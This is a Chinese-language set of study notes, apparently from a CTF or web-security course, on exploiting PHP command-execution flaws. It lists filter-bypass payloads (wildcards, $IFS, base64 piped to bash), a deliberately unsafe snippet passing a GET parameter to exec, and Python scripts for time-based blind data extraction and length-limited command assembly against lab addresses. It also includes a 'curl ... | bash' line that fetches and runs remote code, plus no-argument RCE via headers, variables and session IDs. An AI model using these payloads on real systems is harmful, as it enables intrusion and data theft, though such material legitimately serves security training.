常用命令执行函数

注意:怎么运行,运行条件,回显参数

system

string system ( string $command [, int &$return_var ] )

参数可以是一个,可以是两个,有回显(返回结果)

exec

exec (string command [, string array [, int return_var]])

string command参数 要执行的命令行(必须加)

string array 命令行返回的所有结果,是个数组,如果不printf_r/echo只会回显最后一行

int return_var 命令返回的结果,正常为 0

返回结果用print_r()或者var_dump()显示出来

1
2
3
4
<?php
$cmd = $GET_["cmd"];
exec($cmd,$array);
print_r($array);

passthru

passthru(string $command,int[optional] $return_value)

string command参数 要执行的命令行(必须加)

输出二进制数据发送到浏览器

# 和system基本没差别

shell _exec

shell_exec(string$command)

string command参数 要执行的命令行(必须加)

没有回显,必须echo

反引号

popen

popen(string $command,string$mode)

string command参数 要执行的命令行(必须加)

mode参数模式,r表示阅读,w表示写入

无回显,如果模式是r,需要fgets读取,再print_r打印

proc_open

pcntl_exec

替换函数绕过过滤

最基础的题型,用上面的函数构造最基础的命令即可

LD_PRELOAD绕过

条件:命令执行函数被严格过滤

程序的链接:静态链接/动态链接

LD_PRELOAD 在程序运行前先加载动态链接库

mail

内嵌在php里

imagick

需要装扩展

基础绕过

操作系统连接符

使多个命令按顺序执行

& 同时执行多个命令,但是需要变成URL编码%26

&& 前边命令执行成功,后面命令才能执行,否则两条命令都不能执行

| 把前边命令的结果当成后面命令的参数执行,前边和后边的命令都会执行,但是只显示后边命令的执行结果

|| 类似if-esle语句,若前面的命令执行成功,则后面的命令就不会执行;若前面的命令执行失败,则执行后面的命令

空格过滤绕过

1.大括号{ls -l}

2.$IFS代替空格

3.重定向字符<,ls<-l

4.URL编码 %09 tab %20 空格

文件名过滤绕过

条件:flag,php等被过滤

1.通配符? *,在linux里可用于模糊搜索

?代替字母,只能代表单个字符串,但是这个单字必须存在

cat f?ag.php

cat ????.???

*代表字符串

cat f*

2.单引号、双引号绕过

cat fl"ag

注意最外面包裹的是单引号还是双引号,不然闭合会有问题

3.反斜杠\ 把特殊字符去掉功能性,单独表示字符串

ca\t fl\ag

4.特殊变量

$1,$9

ca$1t fl$9ag

5.内联执行

自定义字符串,再拼接起来

6.利用linux里的环境变量

常见文件读取命令绕过

1.tac 反向显示,从最后一行往前显示,和cat类似

2.more 一页一页显示档案内容

3.less 与more类似

4.tail 查看末尾几行

5.nl显示的时候顺便输出行号

6.od 以二进制的方式读取档案内容

?cmd-passthru("od-A d -c flag .php") 以ASCII码字符串的形式查看

7.xxd 读取二进制文件

8.sort 排序文件

9.uniq 报告或删除文件中重复的行

10.file -f 报错出具体内容

11.grep 在文本中查找指定的字符串

?cmd=passthru("grep fla fla*");fla*文本文件中搜索包含”fla”的字符串

编码绕过

原理:命令编码之后的字符串—>目标服务器解码—>执行命令

**编码后怎么执行?**用|管道符

|会把前面指令执行的结果,变成后面指令的参数

cat flag.php —> Y2F0IGZzYWcucGhw

#echo Y2F0IGZzYWcucGhw | base64 -d

base64 -d用来解码

#echo Y2F0IGZzYWcucGhw | base64 -d | /bash 执行命令

#echo Y2F0IGZzYWcucGhw | base64 -d 前后加上反引号

#$(echo Y2F0IGZzYWcucGhw | base64 -d)

常见编码 base64 base32 hex shellcode

无回显时间盲注

前提:页面无shell反弹或无法回显,或没有写入权限

linux相关命令

1.sleep

2.awk NR 逐行获取数据

cat flag.php | awk NR==1 回显flag第一行的内容

3.cut -c逐列获取单个字符

cat flag.php | awk NR==1 |cut -c

4.if语句

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = "http://192.168.1.6:19080/class08/1.php"
result = ""

for i in range(1, 5): # 定义i、j、k三个变量,i表示读取第几行(第几个文件)
for j in range(1, 10): # j表示读取第几个字符(这里设定的范围是1-9)
# ascii码 表
for k in range(32, 128): # k代表ASCII码,把ascii码转换成字符进行比对
k = chr(k)
time.sleep(0.1)
# 构造payload:如果 ls 命令输出的第 i 行第 j 个字符等于 k,则让服务器 sleep 2 秒
payload = "?cmd=" + f"if [ `ls | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"

try:
# 轮番比较字符串,设置超时时间为1.5秒
# 如果服务器执行了 sleep 2,则会触发 timeout 异常
requests.get(url=url+payload, timeout=(1.5, 1.5))
except:
# 捕获异常说明猜对了字符,把值加入result并打印
result = result + k
print(result)
break
result += " " # 换行(处理下一个文件时加个空格区分)

注意urlcmdcat flag.php需要根据情况修改

长度过滤绕过

前置知识

1.> 写入并覆盖文件

2.>> 追加内容

touch a>a都是创建文件a

3.命令换行\将一条命令写在多个行

cat a

c\

a\

t \

a

4.ls -t 将文件名按照时间顺序排列出来,按行储存

5.sh从文件中读取命令

目的:对命令长度有限制时,把一些很短的文件名拼接成可执行命令

6.dir 基本和ls一样

好处 开头字母是d,更靠前,并且按列输出不换行

7.rev 把文件的内容倒序排列

长度限制为7

首先要明确期望执行的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#encoding:utf-8
import requests
import time

# 目标基础 URL
baseurl = "http://192.168.1.6:19080/class09/2/index.php?cmd="
s = requests.session()

# 利用文件名拼接命令的列表
# 原理:利用 > 创建文件,最后通过 ls -t 排序并将文件名写入文件 a
list = [
'>7777',
'>1\%20\\',
'>16\\',
'>1.\\',
'>168.\\',
'>2.\\',
'>19\\',
'>c\%20\\',
'>|n\\',
'>ag\\',
'>fl\\',
'>t \\',
'>ca\\',
'ls -t>a'
]

# 循环发送请求,在服务器上生成碎片文件
for i in list:
time.sleep(1)
url = baseurl + str(i)
s.get(url)

# 执行由文件名拼接而成的脚本文件 a
s.get(baseurl + "sh a")

长度限制为5

新的问题

ls -t>a长度超过7

``>\ \`无法执行空格

更换期望执行的命令curl 192.168.1.161|bash

和反弹shell有关,目前还没有学

无参数RCE

HTTP请求头RCE

getallheaders()获取所有HTTP请求标头

?code=print_r(getallheaders());

?code=print_r(end(getallheaders()));显示第一项的值

?code=print_r(end(getallheaders()));显示最后一项的值

connection或者其他请求头,或者自己造一个请求头,里面的内容改成system('ls')

?code=eval(pos(getallheaders()));

全局变量RCE

1.get_defined_vars()

返回已定义变量的值,以数组的形式打印出来

?code=print_r(get_defined_vars())

?code=print_r(pos(get_defined_vars()));&cmd=system('ls');

用&加上想要执行的命令

?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');

end()获取GET最后一项cmd的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

# 1. 构造一个特殊的“文件”上传
# 这里把要执行的 PHP 命令 system('whoami'); 放在了文件名(Key)的位置
files = {
"system('whoami');": ""
}

# 2. 发送 POST 请求
# code 参数使用了无参数 RCE 的套路:
# get_defined_vars() 会抓取当前所有变量,包括 $_GET, $_POST, $_FILES
# end(...) 指向最后一个变量,通常是 $_FILES
# 两个 pos(...) 是为了从 $_FILES 数组中层层提取,最后拿到文件名(即我们的命令)
r = requests.post(
'http://your_ip/1.php?code=eval(pos(pos(end(get_defined_vars())))));',
files=files
)

# 3. 打印结果
print(r.content.decode("utf-8", "ignore"))

# 注意:图片末尾的 ?> 是 PHP 的结束符,在 Python 脚本中不需要

session RCE

1.session_start()启动新对话或者重用现有回话

?code=print_r(session_id(session_start()));

返回PHPSESSION的值

把bp抓包的PHPSESSID改成./flag

show_source读取源代码

?code=show_source(session_id(session_start()));

?code=eval(session_id(session_start()));

修改PHPSESSIONID的值为命令phpinfo();,但是无法直接执行,需要把phpinfo();用HEX编码转为16进制,写入PHPSESSID,再用hex2bin()函数将16进制转换为二进制数,用eval执行

?code=eval(hex2bin(session_id(session_start())));

scandir读取

无字母数字绕过